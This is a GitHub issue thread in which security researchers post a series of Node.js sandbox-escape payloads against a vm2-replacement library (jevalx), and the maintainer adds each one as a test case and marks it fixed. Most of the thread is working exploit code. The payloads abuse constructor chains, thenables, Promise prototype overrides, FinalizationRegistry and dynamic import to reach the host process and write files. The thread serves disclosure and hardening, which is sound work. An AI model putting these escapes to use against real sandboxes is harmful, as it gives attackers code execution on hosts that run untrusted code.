wanjo-tech / vm2

replacement to the vm2 lib
8 stars 0 forks source link

escape camp #2

Closed j4k0xb closed 6 months ago

j4k0xb commented 7 months ago
process.on('unhandledRejection', (reason, promise) => {
  console.error('WARNING unhandledRejection', promise, 'reason:', reason);
});

var jevalx = async(js,ctx,timeout=60000,More=['process','Symbol','Error','eval','require'],vm=require('node:vm'),Wtf={})=>{
  for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
  try{return await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
  catch(ex){throw ex}finally{for(var k in Wtf){globalThis[k]=Wtf[k]};}
};
void (async () => {
  await Promise.resolve();
  await Promise.resolve();
  this.constructor
    .constructor("return process")()
    .mainModule.require("fs")
    .writeFileSync("pwned", "");
})();
const customInspectSymbol = Symbol.for({
  toString: () => "nodejs.util.inspect.custom",
});

throw {
  [customInspectSymbol]: () => {
    this.constructor
      .constructor("return process")()
      .mainModule.require("fs")
      .writeFileSync("pwned", "");
  },
};
mgttt commented 7 months ago

Seems that key solution is found, I did a full cleanup and mark VER:rc3c

XmiliaH commented 7 months ago

I start to grow old with this. When even slight variations of previously shared breakouts still work and need to be shared. In other words, there are still breakouts!

Not even speaking of all the prototype pollution issues still present.

mgttt commented 7 months ago

OH? is the test.js not working now? I want to know which case so that I can do investigation? In my local testing all test case passed

I start to grow old with this. When even slight variations of previously shared breakouts still work and need to be shared.

In other words, there are still breakouts!

Not even speaking of all the prototype pollution issues still present.

XmiliaH commented 7 months ago

It is a variation. Look into then and [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));

mgttt commented 7 months ago

do you mean this? or I miss undertand what you mean.

{then:[].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned_r25', ''))"]))}

or

{then: {get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_r25', ''))")}}

It is a variation. Look into then and [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));

XmiliaH commented 6 months ago

Do you understand what [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])) actually does? It results in a function but what can this function be used for? Can you use this function somewhere that has to do with then?

mgttt commented 6 months ago

If you dont mind, show the full escape code, so that I can add to test.js, then start investigate and improve?

and BTW, the prototype pollution problems should be solved, as shown in code, by

Object.defineProperty(Object.prototype, '__proto__'....

Do you understand what [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])) actually does? It results in a function but what can this function be used for? Can you use this function somewhere that has to do with then?

XmiliaH commented 6 months ago
p = import('').constructor.prototype;
oldThen = p.constructor.prototype.then;
p.then = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["p.then = oldThen,import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
Promise.delay(1)
mgttt commented 6 months ago

Thanks you for the patience.

It's because after previous test passed, I did removed two lines about Promise.prototype.contructor backup/restore.

r4b and r4c test case added and now fixed:

vm2>node test /case=r4b
commmand line: { case: 'r4b' }
-------------- test case r4b ---------------
r4x ex= {
  message: 'EvilImport',
  js: '\n' +
    "p = import('').constructor.prototype;\n" +
    'oldThen = p.constructor.prototype.then;\n' +
    `p.then = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["p.then = oldThen,import('fs').then(m=>m.writeFileSync('pwned_r4b', ''))"]));\n` +
    'Promise.delay(1)\n',
  code: 'EVIL_IMPORT',
  tag: 'Xb',
  ex: TypeError [ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING]: A dynamic import callback was not specified.
      at importModuleDynamicallyCallback (node:internal/modules/esm/utils:231:9)
      at eval (eval at <anonymous> (evalmachine.<anonymous>:1:155), <anonymous>:2:1)
      at evalmachine.<anonymous>:1:155
      at evalmachine.<anonymous>:1:487
      at Script.runInContext (node:vm:148:12)
      at jevalx_raw (D:\dev\vm2\jevalx.js:44:83)
      at err.message (D:\dev\vm2\jevalx.js:89:22)
      at new Promise (<anonymous>)
      at jevalx_core (D:\dev\vm2\jevalx.js:75:11)
      at Object.r4b (D:\dev\vm2\test.js:1077:49) {
    code: 'ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING'
  },
  time: 1713336634965,
  id: 1713336634965
}
r4x check= object function [Function: Promise]
-------------- test pwn* after sleep ---------------
No files found matching the pattern./pwn*/
command line: { case: 'r4b' } VER: rc3d
p = import('').constructor.prototype;
oldThen = p.constructor.prototype.then;
p.then = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["p.then = oldThen,import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
Promise.delay(1)
XmiliaH commented 6 months ago
import('').catch(e=>e.constructor.prototype.__defineSetter__('constructor', c=>c.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")));
mgttt commented 6 months ago

ok now (both r28 and all)

vm2>node test /case=r28
commmand line: { case: 'r28' }
-------------- test case r28 ---------------
r28 ex= {
  message: 'e.constructor.prototype.__defineSetter__ is not a function',
  js: '\n' +
    `import('').catch(e=>{e.constructor.prototype.__defineSetter__('constructor', c=>c.constructor('return process')().mainModule.require("fs").writeFileSync("pwned_r28", ""))});\n`,
  code: undefined,
  tag: 'Xc',
  ex: TypeError: e.constructor.prototype.__defineSetter__ is not a function
      at eval (eval at <anonymous> (evalmachine.<anonymous>:1:155), <anonymous>:2:46)
      at process.processTicksAndRejections (node:internal/process/task_queues:95:5),
  time: 1713424373984,
  id: 1713424373984
}
r28 check= object function [Function: Promise]
-------------- test pwn* after sleep ---------------
No files found matching the pattern./pwn*/
command line: { case: 'r28' } VER: rc3d
import('').catch(e=>e.constructor.prototype.__defineSetter__('constructor', c=>c.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")));
mgttt commented 6 months ago

hopefully all the known host objects blocked now?

XmiliaH commented 6 months ago
const f = new FinalizationRegistry(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""));
f.register({});
(async function a(c) {
    await Promise.resolve();
    Array.from({ length: 50000 }, () => () => {});
    if (c <= 5000) a(c+1);
})(0);
false
mgttt commented 6 months ago

done r29. introduced WhteList to purify sandbox

const f = new FinalizationRegistry(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", ""));
f.register({});
(async function a(c) {
  await Promise.resolve();
  Array.from({ length: 50000 }, () => () => {});
  if (c <= 5000) a(c+1);
})(0);
false
XmiliaH commented 6 months ago
({then:1,__proto__:{then:async(r)=>{r();for(let i=0;i<9;i++)await Promise.resolve();import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}}})
mgttt commented 6 months ago

done: added test case t1 of this, and improve findEvil() for it.

p.s. for performance of findEvil(), I think maybe a safeClone() worthy to prepare inside the sandbox before return, I'll try it in future versions.

({then:1,__proto__:{then:async(r)=>{r();for(let i=0;i<9;i++)await Promise.resolve();import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}}})
XmiliaH commented 6 months ago
const obj = {};
function t(r) {
    obj.then = undefined;
    f();
    r(obj);
    try {
        import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
    } catch (e) {}
}
async function f() {
    await Promise.resolve();
    await Promise.resolve();
    obj.then = t;
}
obj.then = t;
obj
mgttt commented 6 months ago

done

const obj = {};
function t(r) {
  obj.then = undefined;
  f();
  r(obj);
  try {
      import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
  } catch (e) {}
}
async function f() {
  await Promise.resolve();
  await Promise.resolve();
  obj.then = t;
}
obj.then = t;
obj
XmiliaH commented 6 months ago
throw {message: 'EvilXd', code: class{
    static get name() {
        (async()=>{
            await Promise.resolve();
            import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
        })();
    }
}}
mgttt commented 6 months ago

nice one! I had thought about something like this but don't know how to make right one. thanks. Should be easily handle by json, will update soon


throw {message: 'EvilXd', code: class{

  static get name() {

      (async()=>{

          await Promise.resolve();

          import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");

      })();

  }

}}
mgttt commented 6 months ago

done

throw {message: 'EvilXd', code: class{
  static get name() {
      (async()=>{
          await Promise.resolve();
          import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
      })();
  }
}}
XmiliaH commented 6 months ago
let c=2;
({__proto__:{get then(){return c-->0?1:r=>{
    (async()=>{
        throw {
            get message() {
                r();
                (async()=>{
                    for(let i=0;i<4;i++) await Promise.resolve();
                    import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
                })();
            }
        }
    })();
}}}})
mgttt commented 6 months ago

done

let c=2;
({__proto__:{get then(){return c-->0?1:r=>{
  (async()=>{
      throw {
          get message() {
              r();
              (async()=>{
                  for(let i=0;i<4;i++) await Promise.resolve();
                  import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
              })();
          }
      }
  })();
}}}})
XmiliaH commented 6 months ago
const obj = {};
function t(r) {
    obj.then = undefined;
    f();
    r(obj);
    try {
        import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
    } catch (e) {}
}
async function f() {
    await Promise.resolve();
    await Promise.resolve();
    obj.then = t;
}
f();
obj
mgttt commented 6 months ago

done ( t5 )

const obj = {};
function t(r) {
  obj.then = undefined;
  f();
  r(obj);
  try {
      import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
  } catch (e) {}
}
async function f() {
  await Promise.resolve();
  await Promise.resolve();
  obj.then = t;
}
f();
obj
XmiliaH commented 6 months ago
const obj = {};
function t(r) {
    obj.then = undefined;
    f();
    r(obj);
    try {
        import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
    } catch (e) {}
}
async function f() {
    await Promise.resolve();
    await Promise.resolve();
    await Promise.resolve();
    obj.then = t;
}
f();
obj
mgttt commented 6 months ago

done now. (added test case t6,t7,t8)

const obj = {};
function t(r) {
  obj.then = undefined;
  f();
  r(obj);
  try {
      import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");
  } catch (e) {}
}
async function f() {
  await Promise.resolve();
  await Promise.resolve();
  await Promise.resolve();
  obj.then = t;
}
f();
obj
XmiliaH commented 6 months ago
({__proto__: {
    get then() {
        Promise.resolve().then(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")).catch(_=>_);
        return undefined;
    }
}})
mgttt commented 6 months ago

done;

({__proto__: {
  get then() {
      Promise.resolve().then(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")).catch(_=>_);
      return undefined;
  }
}})
XmiliaH commented 6 months ago
({constructor: {prototype: {
    get then() {
        Promise.resolve().then(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")).catch(_=>_);
        return undefined;
    }
}}})
mgttt commented 6 months ago

done

({constructor: {prototype: {
  get then() {
      Promise.resolve().then(_=>import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")).catch(_=>_);
      return undefined;
  }
}}})
XmiliaH commented 6 months ago
const old=Promise.prototype.then;
Promise.prototype.then=function(r,e){return old.call(this,v=>{try{r(v)}catch(e){}},e)};
({
    get then() {
        (async()=>{
            for(let i=0;i<10;i++)await Promise.resolve();
            try{import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");}catch(e){}
        })();
        return undefined;
    }
})
mgttt commented 6 months ago

done, t13.

const old=Promise.prototype.then;
Promise.prototype.then=function(r,e){return old.call(this,v=>{try{r(v)}catch(e){}},e)};
({
  get then() {
      (async()=>{
          for(let i=0;i<10;i++)await Promise.resolve();
          try{import('').catch(_=>_).constructor.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","");}catch(e){}
      })();
      return undefined;
  }
})
XmiliaH commented 6 months ago
o={};
w=f=>toString.call.bind(f.call,f,0);
d=f=>Promise.resolve().then(w(f));
t=r=>{
    o.then=0;
    r(o);
    d(()=>d(()=>toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")));
};
d(()=>d(()=>{o.then=w(t)}));
o
mgttt commented 6 months ago

done, t14

o={};
w=f=>toString.call.bind(f.call,f,0);
d=f=>Promise.resolve().then(w(f));
t=r=>{
  o.then=0;
  r(o);
  d(()=>d(()=>toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")));
};
d(()=>d(()=>{o.then=w(t)}));
o
XmiliaH commented 6 months ago
o=[];
w=f=>toString.call.bind(f.call,f,0);
d=f=>Promise.resolve().then(w(f));
t=r=>{
    o.then=0;
    r(o);
    d(()=>d(()=>toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")));
};
d(()=>d(()=>{o.then=w(t)}));
o
mgttt commented 6 months ago

ok t16

o=[];
w=f=>toString.call.bind(f.call,f,0);
d=f=>Promise.resolve().then(w(f));
t=r=>{
  o.then=0;
  r(o);
  d(()=>d(()=>toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")));
};
d(()=>d(()=>{o.then=w(t)}));
o
XmiliaH commented 6 months ago
f=()=>{try{toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(toString.call.bind(f.call,f,0))}}
mgttt commented 6 months ago

done (case s1)

f=()=>{try{toString.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(toString.call.bind(f.call,f,0))}}
XmiliaH commented 6 months ago
h=console.log;
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
mgttt commented 6 months ago

done (case s4)

h=console.log;
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
XmiliaH commented 6 months ago
h=console.log;
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
throw f();
mgttt commented 6 months ago

done (s6)

h=console.log;
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
throw f();
XmiliaH commented 6 months ago
h=console.log;
t=Promise.prototype.then;
f=()=>{Promise.prototype.then=t;try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
mgttt commented 6 months ago

done (s7)

h=console.log;
t=Promise.prototype.then;
f=()=>{Promise.prototype.then=t;try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
XmiliaH commented 6 months ago
h=console.log;
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){import('').catch(h.call.bind(f.call,f,0))}}
mgttt commented 6 months ago

done (s9)

h=console.log;
f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){import('').catch(h.call.bind(f.call,f,0))}}
XmiliaH commented 6 months ago
h=console.log;
(async()=>{
    while(!Promise.prototype.then) await Promise.resolve();
    f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
    f();
})();
1
mgttt commented 6 months ago

done (s10)

h=console.log;
(async()=>{
  while(!Promise.prototype.then) await Promise.resolve();
  f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){Promise.resolve().then(h.call.bind(f.call,f,0))}}
  f();
})();
1
XmiliaH commented 6 months ago
h=console.log;
(async()=>{
    while(!(t=Promise.prototype.then)) await Promise.resolve();
    f=()=>{try{h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch(e){t.call(Promise.resolve(),h.call.bind(f.call,f,0))}}
    f();
})();
1